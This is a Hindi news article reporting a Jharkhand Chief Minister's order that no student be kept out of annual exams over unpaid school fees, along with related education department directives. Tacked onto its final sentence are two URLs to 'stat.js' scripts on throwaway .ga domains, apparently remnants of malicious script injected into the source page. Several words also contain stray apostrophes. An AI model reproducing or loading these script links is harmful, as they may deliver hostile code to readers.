Tuesday, January 25

बच्चो की स्कूल फी से परेशान माता पिता के लिए खुशखबरी, मुख्यमंत्री का नया आदेश पुरे राज्य में जा’री

मुख्यमंत्री हेमंत सोरेन ने अधिकारियों को स्पष्ट निर्देश दिया है कि फीस के अभाव में किसी भी छात्र-छात्रा को परीक्षा में शामिल होने से नहीं रोका जाय। उन्होंने कहा है कि निजी स्कूल भी फीस जमा नहीं करने पर किसी छात्र-छात्रा को वार्षिक परीक्षा से वं’चित नहीं कर सकते। सोमवार को स्कूली शिक्षा एवं साक्षरता विभाग की समीक्षा के क्रम में सीएम ने कहा कि फीस नहीं चुकाने पर मैट्रिक व इंटरमीडिएट की परीक्षा के अलावा किसी भी कक्षा की वार्षिक परीक्षा से किसी विद्यार्थी को वं’चित नहीं किया जाएगा।

चाहे वह सरकारी स्कूल हों या या फिर निजी स्कूल। किसी भी हाल में कोई विद्यार्थी परीक्षा से वं’चित नहीं किया जा सकता। मुख्यमंत्री ने अधिकारियों को ऐसी स्थिति पर निगरानी रखने का भी निर्देश दिया। स्कूली शिक्षा एवं साक्षरता विभाग के मंत्री जगरनाथ महतो ने सीएम की बैठक की जानकारी देते हुए कहा कि इसमें सरकारी स्कूलों में दी जा रही शिक्षा की गुणवत्ता बढ़ाने पर चर्चा हुई। अधिकारियों को नए सत्र से पहले 15 मार्च तक हर हाल में बच्चों को किताबें उपलब्ध कराने का नि’र्देश दिया गया है।

उन्होंने विभाग में शिक्षकों सहित अन्य सभी पदों पर शीघ्र ही नियुक्ति की अधियाचना संबंधित परीक्षा आयोग को भेजने का नि’र्देश दिया। मंत्री ने बंद स्कूलों को फिर से खोलने तथा अप्रशिक्षित पारा शिक्षकों को सेवा में बने रहने देने के लिए नियमावली में प्रावधान करने की भी बात कही। उन्होंने पारा शिक्षकों की सेवा शर्त नियमावली को शीघ्र अंतिम रूप देने की जानकारी देते हुए कहा कि विभाग में फाइल लटकाने वाली बी’मारी अब नहीं रहेगी।

ट्यूशन व अन्य फीस नहीं चुकाने पर वार्षिक परीक्षा से किसी छात्र-छात्रा को वंचित नहीं के मुख्यमंत्री के आ’देश के बाद स्कूली शिक्षा एवं साक्षरता विभाग के पदाधिकारी रेस हो गए। मुख्यमंत्री के इस बाबत दिए गए निर्देश के तीन घंटे के भीतर ही विभाग ने इसे सुनिश्चित करने का निर्देश सभी उपायुक्तों व जिला शिक्षा पदाधिकारियों को भेज दिया। माध्यमिक शिक्षा निदेशक जटाशंकर चौधरी ने उपायुक्तों व जिला शिक्षा पदाधिकारियों को पत्र भेजकर मुख्यमंत्री के आ’देश की जानकारी दी।

साथ ही यह सुनिश्चित करने को कहा कि किसी भी हाल में कोई भी छात्र-छात्रा वार्षिक परीक्षा से वंचित न हो। इंटरमीडिएट व मैट्रिक की परीक्षा से भी ऐसा कोई विद्यार्थी वंचित न रहे। उन्होंने कहा है कि मुख्यमंत्री को विभिन्न स्रोतों से सूचना मिली है कि कुछ स्कूलों में छात्रों द्वारा फीस जमा नहीं के कारण परीक्षा में भाग लेने से वं’चित किया जा रहा है। मुख्यमंत्री ने इसे गंभीरता से लिया है। निदेशक ने स्कूलों में संबंधित अभिभावकों की बैठक बुलाकर भी इस स’मस्या के स’माधान करने को कहा है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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